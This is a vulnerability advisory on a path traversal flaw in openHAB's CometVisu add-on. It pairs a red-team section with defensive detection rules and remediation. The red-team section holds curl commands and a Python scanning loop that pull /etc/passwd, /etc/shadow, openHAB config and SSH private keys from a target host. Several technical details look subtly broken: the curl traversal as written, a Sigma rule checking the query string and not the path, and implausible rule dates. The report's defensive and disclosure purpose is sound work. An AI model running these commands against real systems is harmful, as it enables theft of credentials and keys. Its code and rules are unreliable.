CVE-2024-42468

Executive Summary

CVE-2024-42468 is an unauthenticated path traversal vulnerability in the CometVisuServlet component of the openHAB home automation platform. This flaw allows a remote attacker to read arbitrary local files on the server by sending specially crafted HTTP GET requests. The vulnerability affects all versions of the CometVisu add-on prior to 4.2.1. With a CVSS score of 5.3 (Medium), the primary impact is information disclosure, potentially exposing sensitive configuration files, credentials, or other system data. No public proof-of-concept code or active exploitation has been reported as of this analysis.

Supply Chain & Package Security

openHAB is a Java-based open-source home automation platform distributed via official repositories and add-on marketplaces. The CometVisu add-on is a visualization component. Users should verify the integrity of the add-on package by checking SHA-256 checksums provided by the openHAB project. The vulnerability is introduced in the add-on code, not the core platform, so supply chain risk is limited to the add-on distribution channel.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The low EPSS score (0.0%) indicates minimal active exploitation, but the ease of exploitation (no authentication, low complexity) makes this a high-priority target for automated scanning.

Deep Dive & Mechanics

The vulnerability resides in the CometVisuServlet class, which handles HTTP requests for the CometVisu visualization interface. The servlet fails to properly sanitize user-supplied path parameters, allowing directory traversal sequences (e.g., ../) to escape the intended web root.

Root Cause: The servlet uses user input to construct file paths without validating that the resolved path remains within the allowed directory. For example, a request like:

GET /cometvisu/../../etc/passwd HTTP/1.1

would resolve to /etc/passwd on the server filesystem.

Attack Flow:

1. Attacker identifies an openHAB instance with CometVisu add-on enabled.
2. Attacker sends a crafted HTTP GET request with path traversal sequences.
3. The servlet reads the requested file and returns its contents in the HTTP response.
4. Attacker exfiltrates sensitive data (e.g., configuration files, credentials, SSH keys).

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.2.1):

// CometVisuServlet.java (vulnerable)
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
    String path = req.getPathInfo();
    File file = new File(webRoot, path);
    // No path traversal check
    serveFile(file, resp);
}

Patched Code (4.2.1):

// CometVisuServlet.java (patched)
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
    String path = req.getPathInfo();
    // Normalize and validate path
    path = path.replaceAll("\\.\\./", "");
    path = path.replaceAll("\\.\\.\\\\", "");
    File file = new File(webRoot, path);
    // Ensure file is within webRoot
    if (!file.getCanonicalPath().startsWith(webRoot.getCanonicalPath())) {
        resp.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    serveFile(file, resp);
}

The patch adds path normalization and canonical path validation to prevent directory traversal.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy openHAB 4.2.0 with CometVisu add-on enabled.
2. Ensure the server is accessible on the network.

Exploitation Steps:

1. Identify the CometVisu endpoint (typically /cometvisu).
2. Use curl to exploit path traversal:

curl -v "http://target:8080/cometvisu/../../etc/passwd"

3. For Windows targets, try:

curl -v "http://target:8080/cometvisu/../../Windows/System32/drivers/etc/hosts"

4. Enumerate sensitive files:
   • /etc/openhab/services/openhab.cfg
   • /etc/shadow
   • /home/openhab/.ssh/id_rsa

Automated Scanning:

import requests

target = "http://target:8080"
paths = ["/etc/passwd", "/etc/shadow", "/etc/openhab/services/openhab.cfg"]

for path in paths:
    url = f"{target}/cometvisu/../../{path}"
    r = requests.get(url)
    if r.status_code == 200 and len(r.text) > 0:
        print(f"[+] Found: {path}")
        print(r.text[:500])

Blue Team

Detection:

• Monitor HTTP GET requests to /cometvisu/ containing ../ or ..\\ sequences.
• Alert on requests returning file contents (e.g., Content-Type: text/plain for non-static files).
• Use WAF rules to block path traversal patterns.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri_path="/cometvisu/*" AND uri_path IN ("*../*", "*..\\*")
| stats count by src_ip, uri_path, status

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cometvisu/ with ../ or ..\\ sequences.
  • Responses containing /etc/passwd, /etc/shadow, or other system files.
  • Unusual file extensions in response (e.g., .cfg, .conf, .key).

• File System IOCs:

  • Unexpected file reads from outside the web root.
  • Log entries showing path traversal attempts in openHAB logs.

• Log Patterns:

  GET /cometvisu/../../etc/passwd HTTP/1.1
  GET /cometvisu/..%2f..%2fetc%2fpasswd HTTP/1.1
  

Detection Engineering

YARA Rule

rule CVE_2024_42468_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against openHAB CometVisuServlet"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-42468"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "openhab.cfg"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2024-42468 openHAB CometVisu Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against openHAB CometVisuServlet
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/cometvisu/'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42468 openHAB CometVisu Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/cometvisu/"; http_uri; content:"../"; http_uri; distance:0; within:3; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the CometVisu add-on to version 4.2.1 or later.
2. If upgrade is not possible, disable the CometVisu add-on:
   • In openHAB UI: Settings → Add-ons → CometVisu → Disable
   • Or remove the add-on JAR file from addons/ directory.

Compensating Controls:

• Deploy a WAF rule to block path traversal patterns:

  SecRule REQUEST_URI "@contains /cometvisu/" "phase:1,deny,status:403,id:1000"
  SecRule REQUEST_URI "@rx \.\./" "phase:1,deny,status:403,id:1001"
  

• Restrict file system permissions so the openHAB process cannot read sensitive files.
• Monitor logs for path traversal attempts.

Long-term:

• Implement input validation for all user-supplied paths.
• Use a whitelist of allowed files/directories.
• Conduct regular security audits of add-on code.

Valters IT signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of CVE-2024-42468 is illegal.